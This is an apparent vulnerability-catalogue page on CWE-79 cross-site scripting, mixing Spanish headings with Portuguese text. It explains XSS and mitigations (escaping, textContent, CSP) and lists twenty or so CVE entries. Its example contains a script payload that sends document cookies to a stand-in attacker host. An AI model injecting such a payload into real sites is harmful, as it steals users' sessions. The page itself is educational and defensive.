Fallos del tipo CWE-79

29.158 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-54355MEDIUMMapServer: Reflected XSS in OpenLayers HTML Output via `HTTP_X_FORWARDED_HOST`EPSS 0.5%CVE-2024-52855MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-23190MEDIUMUpsell shop information of an account can be manipulated to execute script code in the context of the users browser session. To exploit thisEPSS 0.5%CVE-2024-43737MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-2834HIGHOpenText ArcSight Management Center and ArcSight Platform Stored XSSEPSS 0.5%CVE-2024-43726MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2022-4892LOWMyCMS Visitors Module view.php build_view cross site scriptingEPSS 0.5%CVE-2023-23572MEDIUMCross-site scripting vulnerability in SEIKO EPSON printers/network interface Web Config allows a remote authenticated attacker with an adminEPSS 0.5%CVE-2024-49751LOWFrappe Press possible HTML injection through SaaS Signup inputsEPSS 0.5%CVE-2022-4859LOWJoget User Profile Menu UserProfileMenu.java submitForm cross site scriptingEPSS 0.5%CVE-2018-25086LOWsea75300 FanPress CM Template Preview templatepreview.php getArticlesPreview cross site scriptingEPSS 0.5%CVE-2026-40596HIGHMantisBT is vulnerable to XSS and potential account takeover via user font family preference updateEPSS 0.5%CVE-2024-11175MEDIUMPublic CMS Voting Management save cross site scriptingEPSS 0.5%CVE-2024-5555MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) <= 5.6.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2023-25830MEDIUMBUG-000154662 Reflected XSS vulnerability in Portal for ArcGISEPSS 0.5%CVE-2024-43727MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-43725MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2021-25978MEDIUMApostrophe - XSSEPSS 0.5%CVE-2024-23191MEDIUMUpsell advertisement information of an account can be manipulated to execute script code in the context of the users browser session. To expEPSS 0.5%CVE-2024-2259MEDIUMReflected XXS Vulnerability in InstaRISPACS SoftwareEPSS 0.5%